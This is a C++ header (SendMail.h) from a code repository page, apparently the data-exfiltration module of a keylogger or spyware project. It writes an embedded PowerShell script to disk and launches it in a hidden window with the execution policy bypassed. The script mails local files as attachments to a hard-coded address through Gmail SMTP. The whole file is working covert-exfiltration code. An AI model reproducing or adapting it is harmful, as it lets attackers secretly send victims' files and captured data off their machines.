-
Notifications
You must be signed in to change notification settings - Fork 0
/
SendMail.h
169 lines (140 loc) · 5.97 KB
/
SendMail.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#ifndef SENDMAIL_H
#define SENDMAIL_H
#include <fstream>
#include <vector>
#include "windows.h"
#include "io.h"
#include "Timer.h"
#include "Helper.h"
#define SCRIPT_NAME "sm.ps1"
namespace Mail
{
#define X_EM_TO ""
#define X_EM_FROM ""
#define X_EM_PASS ""
const std::string &PowerShellScript =
"Param( \r\n [String]$Att,\r\n [String]$Subj,\r\n "
"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"
" {\r\n Param (\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$To,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$From,\r\n [Parameter(`\r\n mandatory=$true)]\r\n "
"[String]$Password,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$Subject,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$Body,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$attachment\r\n )\r\n try\r\n {\r\n $Msg = New-Object "
"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n $Srv = \"smtp.gmail.com\" "
"\r\n if ($attachment -ne $null) {\r\n try\r\n {\r\n"
" $Attachments = $attachment -split (\"\\:\\:\");\r\n "
" ForEach ($val in $Attachments)\r\n "
" {\r\n "
" $attch = New-Object System.Net.Mail.Attachment($val)\r\n "
" $Msg.Attachments.Add($attch)\r\n }\r\n "
"}\r\n catch\r\n {\r\n exit 2; "
"\r\n }\r\n }\r\n "
" $Client = New-Object Net.Mail.SmtpClient($Srv, 587) #587 port for smtp.gmail.com SSL\r\n "
" $Client.EnableSsl = $true \r\n $Client.Credentials = New-Object "
"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n $Client.Send($Msg)\r\n "
" Remove-Variable -Name Client\r\n Remove-Variable -Name Password\r\n "
"exit 7; \r\n }\r\n catch\r\n {\r\n exit 3; "
" \r\n }\r\n} #End Function Send-EMail\r\ntry\r\n {\r\n "
"Send-EMail -attachment $Att "
"-To \"" +
std::string (X_EM_TO) +
"\""
" -Body $Body -Subject $Subj "
"-password \"" +
std::string (X_EM_PASS) +
"\""
" -From \"" +
std::string (X_EM_FROM) +
"\"""\r\n }\r\ncatch\r\n {\r\n exit 4; \r\n }";
#undef X_EM_FROM
#undef X_EM_TO
#undef X_EM_PASS
std::string StringReplace(std::string s, const std::string &what, const std::string &with)
{
if(what.empty())
return s;
size_t sp = 0;
while((sp=s.find(what,sp)) != std::string::npos)
s.replace(sp, what.length(), with), sp+= with.length();
return s;
}
bool CheckFileExists(const std::string &f)
{
std::ifstream file (f);
return (bool)file;
}
bool CreateScript()
{
std::ofstream script(IO::GetOurPath(true) +std::string(SCRIPT_NAME));
if(!script)
return false;
script << PowerShellScript;
if(!script)
return false;
script.close();
return true;
}
Timer m_timer;
int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)
{
bool ok;
ok = IO::MKDir(IO::GetOurPath(true));
if(!ok)
return -1;
std::string scr_path = IO::GetOurPath(true) + std::string(SCRIPT_NAME);
if(!CheckFileExists(scr_path))
ok = CreateScript();
if(!ok)
return -2;
std::string param = "-ExecutionPolicy ByPass -File \"" + scr_path + "\" -Subj \""
+ StringReplace(subject, "\"", "\\\"") +
"\" -Body \""
+ StringReplace(body, "\"", "\\\"") +
"\" -Att \"" + attachments + "\"";
SHELLEXECUTEINFO ShExecInfo = {0};
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "open";
ShExecInfo.lpFile = "powershell";
ShExecInfo.lpParameters = param.c_str();
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_HIDE;
ShExecInfo.hInstApp = NULL;
ok=(bool)ShellExecuteEx(&ShExecInfo);
if(!ok)
return -3;
//70000 ms ~7 seconds
WaitForSingleObject(ShExecInfo.hProcess, 7000);
DWORD exit_code = 100;
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
m_timer.SetFunction([&]()
{
WaitForSingleObject(ShExecInfo.hProcess, 60000);
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
if((int)exit_code == STILL_ACTIVE)
TerminateProcess(ShExecInfo.hProcess, 100);
Helper::WriteAppLog("<From SendMail> Return Code: " + Helper::ToString((int)exit_code));
});
m_timer.RepeatCount(1L);
m_timer.SetInterval(10L);
m_timer.Start(true);
return (int)exit_code;
}
int SendMail(const std::string &subject, const std::string &body, const std::vector<std::string> &att)
{
std::string attachments = "";
if(att.size() == 1U)
attachments = att.at(0);
else
{
for(const auto &v : att)
attachments += v + "::";
attachments = attachments.substr(0, attachments.length() - 2 );
}
return SendMail(subject, body, attachments);
}
}
#endif // SENDMAIL